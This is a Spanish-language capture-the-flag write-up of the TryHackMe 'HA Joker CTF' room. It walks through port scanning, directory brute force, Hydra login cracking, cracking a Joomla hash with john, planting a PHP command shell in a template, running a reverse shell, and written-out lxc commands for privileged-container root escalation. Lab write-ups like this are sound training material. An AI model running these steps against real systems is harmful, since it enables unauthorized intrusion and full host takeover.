This page looks best with JavaScript enabled

TryHackMe - HA Joker CTF

 •  ✍️ sckull

HA Joker CTF es una maquina de TryHackMe, enfocada en la tematica de Joker donde descubrimos un login donde utilizamos Hydra para obtener acceso, que luego nos permitió obtener un backup de la base de datos de Joomla, y con este ultimo obtuvimos acceso modificando una plantilla. Finalmente escalamos privilegios creando un nuevo contenedor con privilegios con lxc.

Room

Titulo HA Joker CTF box_img_maker
Descripción Batman hits Joker.
Puntos 500
Dificultad Media
Maker

ki11switch

NMAP

Escaneo de puerto tcp, en el cual nos muestra varios puertos abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# Nmap 7.80 scan initiated Thu Feb 27 14:33:03 2020 as: nmap -sV -p- --min-rate=1000 -o nmap_rate jokerctf.thm
Warning: 10.10.171.105 giving up on port because retransmission cap hit (10).
Nmap scan report for jokerctf.thm (10.10.171.105)
Host is up (0.24s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
8080/tcp open  http    Apache httpd 2.4.29
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Feb 27 14:34:50 2020 -- 1 IP address (1 host up) scanned in 107.72 seconds

HTTP

En el puerto 80 encontramos una pagina que nos muestra distintas imagenes del joker.
image

GOBUSTER

Utilizamos gobuster para busqueda de directorios y archivos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
root@aoiri:~/tryhackme/jokerctf# gobuster dir -u http://jokerctf.thm/ -w /usr/share/wordlists/dirb/common_nofirst10.txt -q -t 15 -x php,html,txt
/css (Status: 301)
/img (Status: 301)
/index.html (Status: 200)
/index.html (Status: 200)
/phpinfo.php (Status: 200)
/phpinfo.php (Status: 200)
/secret.txt (Status: 200)
/server-status (Status: 403)
root@aoiri:~/tryhackme/jokerctf#

/secret.txt

image

HTTP - Puerto 8080

En el puerto 8080 encontramos un panel donde nos pide un usuario y contraseña.
image

Hydra

Utilizamos hydra con los usuarios joker y batman junto con el wordlist rockyou.txt en el puerto 8080.
image

Al iniciar sesion con las credenciales vemos una nueva pagina, a simple vista podemos ver que es un CMS Joomla.
image

RUSTBUSTER

Utilizamos RUSTBUSTER para busqueda de directorios y archivos (por alguna razon gobuster no aceptaba los headers).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
root@aoiri:~/tryhackme/jokerctf# /opt/rustbuster/rustbuster dir -u http://jokerctf.thm:8080/ -w /usr/share/wordlists/dirb/common_nofirst10.txt -t 25 -e php,html,txt -H "Authorization: Basic am9rZXI6aGFubmFo,Cookie: 5fef75b50575ebea33a28bd1e7087dcb=et845u1qtnkv5io3ak6msfmdim; 0d073d2ec68ac2f24f859831bbe8843b=3r1udjnnh7dk8bv4jt7gpadh5r"
~ rustbuster v3.0.3 ~ by phra & ps1dr3x ~

         _     _                 _         _           _        _                 _         _           _           _     
        /\ \  /\_\              / /\      /\ \        / /\     /\_\              / /\      /\ \        /\ \        /\ \   
       /  \ \/ / /         _   / /  \     \_\ \      / /  \   / / /         _   / /  \     \_\ \      /  \ \      /  \ \  
      / /\ \ \ \ \__      /\_\/ / /\ \__  /\__ \    / / /\ \  \ \ \__      /\_\/ / /\ \__  /\__ \    / /\ \ \    / /\ \ \ 
     / / /\ \_\ \___\    / / / / /\ \___\/ /_ \ \  / / /\ \ \  \ \___\    / / / / /\ \___\/ /_ \ \  / / /\ \_\  / / /\ \_\
    / / /_/ / /\__  /   / / /\ \ \ \/___/ / /\ \ \/ / /\ \_\ \  \__  /   / / /\ \ \ \/___/ / /\ \ \/ /_/_ \/_/ / / /_/ / /
   / / /__\/ / / / /   / / /  \ \ \    / / /  \/_/ / /\ \ \___\ / / /   / / /  \ \ \    / / /  \/_/ /____/\   / / /__\/ / 
  / / /_____/ / / /   / / _    \ \ \  / / /     / / /  \ \ \__// / /   / / _    \ \ \  / / /     / /\____\/  / / /_____/  
 / / /\ \ \  / / /___/ / /_/\__/ / / / / /     / / /____\_\ \ / / /___/ / /_/\__/ / / / / /     / / /______ / / /\ \ \    
/ / /  \ \ \/ / /____\/ /\ \/___/ / /_/ /     / / /__________/ / /____\/ /\ \/___/ / /_/ /     / / /_______/ / /  \ \ \   
\/_/    \_\/\/_________/  \_____\/  \_\/      \/_____________\/_________/  \_____\/  \_\/      \/__________\/_/    \_\/   


[?] Started at	: 2020-02-27 16:01:01

GET	403 Forbidden			http://jokerctf.thm:8080/.html
GET     403 Forbidden                   http://jokerctf.thm:8080/.php
GET     200 OK                          http://jokerctf.thm:8080/
GET     301 Moved Permanently           http://jokerctf.thm:8080/administrator
						=> http://jokerctf.thm/administrator/
GET     200 OK                          http://jokerctf.thm:8080/backup
GET     200 OK                          http://jokerctf.thm:8080/backup.zip
GET     301 Moved Permanently           http://jokerctf.thm:8080/bin
						=> http://jokerctf.thm/bin/
GET     301 Moved Permanently           http://jokerctf.thm:8080/cache
						=> http://jokerctf.thm/cache/
GET     301 Moved Permanently           http://jokerctf.thm:8080/components
						=> http://jokerctf.thm/components/
GET     200 OK                          http://jokerctf.thm:8080/configuration.php
GET     301 Moved Permanently           http://jokerctf.thm:8080/images
						=> http://jokerctf.thm/images/
GET     301 Moved Permanently           http://jokerctf.thm:8080/includes
						=> http://jokerctf.thm/includes/
GET     200 OK                          http://jokerctf.thm:8080/index.php
GET     200 OK                          http://jokerctf.thm:8080/index.php
GET     301 Moved Permanently           http://jokerctf.thm:8080/language
						=> http://jokerctf.thm/language/
GET     301 Moved Permanently           http://jokerctf.thm:8080/layouts
						=> http://jokerctf.thm/layouts/
GET     301 Moved Permanently           http://jokerctf.thm:8080/libraries
						=> http://jokerctf.thm/libraries/
GET     200 OK                          http://jokerctf.thm:8080/LICENSE
GET     200 OK                          http://jokerctf.thm:8080/LICENSE.txt
GET     301 Moved Permanently           http://jokerctf.thm:8080/media
						=> http://jokerctf.thm/media/
GET     301 Moved Permanently           http://jokerctf.thm:8080/modules
						=> http://jokerctf.thm/modules/
GET     301 Moved Permanently           http://jokerctf.thm:8080/plugins
						=> http://jokerctf.thm/plugins/
GET     200 OK                          http://jokerctf.thm:8080/README
GET     200 OK                          http://jokerctf.thm:8080/README.txt
GET     200 OK                          http://jokerctf.thm:8080/robots
GET     200 OK                          http://jokerctf.thm:8080/robots.txt
GET     200 OK                          http://jokerctf.thm:8080/robots.txt
GET     403 Forbidden                   http://jokerctf.thm:8080/server-status
GET     301 Moved Permanently           http://jokerctf.thm:8080/templates
						=> http://jokerctf.thm/templates/
GET     301 Moved Permanently           http://jokerctf.thm:8080/tmp
						=> http://jokerctf.thm/tmp/
GET     200 OK                          http://jokerctf.thm:8080/web.config
GET     200 OK                          http://jokerctf.thm:8080/web.config.txt
[?] Ended at: 2020-02-27 16:05:02

USER - www-data

Encontramos un archivo backup.zip en la pagina protegido por contraseña, utilizamos la contraseña de joker que encontramos con hydra.

1
2
3
4
5
6
7
root@aoiri:~/tryhackme/jokerctf# file backup.zip 
backup.zip: Zip archive data, at least v1.0 to extract
root@aoiri:~/tryhackme/jokerctf# unzip backup.zip 
Archive:  backup.zip
   creating: db/
[backup.zip] db/joomladb.sql password: 
   skipping: db/joomladb.sql         incorrect password

Encontramos un archivo de base de datos, dentro de los querys encontramos un insert en el que aparece la contraseña del usuario admin:
image

Crackeamos la contraseña con john:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
root@aoiri:~/tryhackme/jokerctf# john hash_joomla --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
******         (?)
1g 0:00:00:12 DONE (2020-02-27 16:14) 0.08130g/s 83.41p/s 83.41c/s 83.41C/s bullshit..bulldogs
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@aoiri:~/tryhackme/jokerctf# 

Ahora podemos iniciar sesion en el panel de joomla, vamos a crear un archivo el cual ejecute comandos en el sistema. Nos dirigimos a Extensions -> Templates, Seleccionamos protostar el cual esta siendo utilizado en la pagina de joomla.
image

Creamos un archivo en el template protostar.
image

Ejecutamos comandos utilizando la URL http://jokerctf.thm:8080/templates/protostar/shell.php?cmd=id.
image

Obtenemos una shell utilizando nuestra shell, creamos un archivo shell.sh el cual contiene una shell inversa, la descargamos en la maquina y la ejecutamos.
image

Obtenemos una shell con el usuario www-data.

PRIVILEGE ESCALATION

Vemos que el usuario www-data pertenece al grupo lxc, logramos listar las images que estan disponibles en la maquina.
image

Utilizamos lxc para poder crear un contenedor y montar la carpeta /root en /mnt/root:

LXD Alpine Builder

LXD - Privilege Escalation

Comandos:

1
2
3
4
5
6
7
8
#Descargamos alpine en la maquina en la carpeta /tmp
lxc image import ./alpine-v3.11-x86_64-20200227_1750.tar.gz --alias myimage
lxc image list

lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

image

Logramos obtener una shell cn el usuario root y nuestra flag “root.txt”.
image

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe